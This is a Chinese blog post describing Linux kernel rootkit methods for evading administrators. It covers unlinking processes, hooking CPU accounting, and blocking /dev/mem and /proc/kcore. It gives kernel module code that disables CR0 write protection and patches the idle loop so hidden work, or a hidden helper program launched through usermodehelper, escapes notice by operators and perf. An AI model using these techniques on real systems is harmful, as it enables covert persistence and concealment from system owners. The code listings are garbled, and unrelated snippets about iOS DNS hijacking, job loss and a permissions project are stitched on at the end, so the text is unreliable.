前面談過如何隱藏乙個程序,我說過,隱藏procfs介面那無異於掩耳盜鈴,正確的做法應該是將task_struct從任何鍊錶中摘除,僅僅保留於run queue。
但cpu利用率會暴露你隱藏的程序…
於是hook掉cpu記賬介面…
但是…於是…
害怕被debug,封堵/dev/mem,/proc/kcore,封堵lkm,…
左右手互搏…目前防禦手稍微佔優勢。
其實,還有乙個好辦法,即劫持idle,這樣我們甚至可以不用管cpu記賬程式,idle多當然好啊,運維們不正期望idle多嗎?idle多沒人會去perf的吧…
測試**如下:
#include
#include
#include
char
*stub;
char
*addr =
null
;static
unsigned
long base =0;
void
test_stub1
(void)if
(jiffies %
0xf==0)
local_irq_enable()
;local_bh_enable()
;}#define ftrace_size 5
#define poke_offset 0
#define poke_length 5
unsigned
char
*idle;
unsigned
long cr0;
static
int __init hotfix_init
(void
) cr0 =
read_cr0()
;clear_bit(16
,&cr0)
;memcpy
(&addr[poke_offset]
, e8_call, poke_length)
;set_bit(16
,&cr0)
;write_cr0
(cr0)
;return0;
}static
void __exit hotfix_exit
(void
)module_init
(hotfix_init)
;module_exit
(hotfix_exit)
;module_license
("gpl"
);
需要注意的是,計算任務不能睡眠,不能schedule,不能太太太繁重,以免被perf發現。其實,如果機器在機房,電源風扇的轟鳴是可以掩蓋cpu風扇的,不過液冷的話就要另想辦法了。
我們看下效果吧。我用虛擬機器測試,下面左邊是宿主機,右邊是虛擬機器,沒有劫持idle時的cpu利用率如下:
下面是劫持後的:
雖然右邊虛擬機器的cpu依然幾乎全部都是idle,和未劫持時沒有差別,然而宿主機的能耗騙不了人。筆記本的風扇雜訊在加大,以至於我不得不用macs fan control將風扇轉速調低,然而鋁殼正在變得發燙。
哪個是真的,哪個是假的,假亦真時真亦假…
我倒是覺得,idle作為rootkit的根據地還是非常不錯,如果你想執行一些真正的任務,那就call usermodehelper唄,只要確保這個helper完成任務及時退出就行。
#include
#include
#include
char
*stub;
char
*addr =
null
;static
unsigned
long base =0;
static
unsigned
long last =0;
void
test_stub1
(void)if
(jiffies %
0xf==0)
local_irq_enable()
;local_bh_enable()
;#endif
//if (jiffies % 1000 == 0 && last != jiffies)
}#define ftrace_size 5
#define poke_offset 0
#define poke_length 5
unsigned
char
*idle;
unsigned
long cr0;
static
int __init hotfix_init
(void
) cr0 =
read_cr0()
;clear_bit(16
,&cr0)
;memcpy
(&addr[poke_offset]
, e8_call, poke_length)
;set_bit(16
,&cr0)
;write_cr0
(cr0)
;return0;
}static
void __exit hotfix_exit
(void
)module_init
(hotfix_init)
;module_exit
(hotfix_exit)
;module_license
("gpl"
);
run的**如下:
#include
intmain
(int argc,
char
**ar**)
效果就是在系統壓力不大時,每隔大約1秒中在/dev/pts/0終端列印一串a。
如果run程式執行時間在作為human being的運維人員和經理的視角轉瞬即逝的話,同時run又是乙個隱藏檔案的話,試問如何發現誰打出的a呢?
運維和經理打字敲回車以及他們的蛋白質眼睛無法分辨200ms以下的事件。
正如所料,接下來,我要對perf動手了。
浙江溫州皮鞋溼,下雨進水不會胖。
iOS DNS防劫持一點記錄
dns 概念 dns 網域名稱解析系統,解析成相應的伺服器ip,dns劫持是指在劫持的網路範圍內攔截網域名稱解析的請求,分析請求的網域名稱 由於dns請求報文是明文狀態,可能在請求過程被監測,然後偽裝dns伺服器傳送帶有假ip位址的響應報文,從而使主機訪問假的伺服器。localdns localdn...
關於做點什麼
失業了,混沌了好久,挺沒出息的,畢竟做了快四年的棋牌,公司解散了,又碰上了疫情,閒著在家一段時間,也沒思考好究竟要做什麼。今天跟老王出去喝咖啡聊了段時間。再次否定了之前自己的決定,原先是打算隨便找份工作然後再轉u3d或者其他,現在想想還是直接轉吧。既然直接轉,那麼就要有作品,畢竟之前只是用u3d做了...
今天做點啥呦
明天老師就開始講html,聽說拿東西不太難.還是複習一下dao模式的許可權管理吧 唉 要不寫個網路版本的許可權管理吧 怎麼開始呢.恩 先要有個伺服器監聽客戶的要求,客戶端要有服務表,伺服器一旦啟動就靠static塊來註冊服務.服務的啟動通過通用工廠模式來啟動,就是給工廠類傳個名字,叫他自己找到服務的...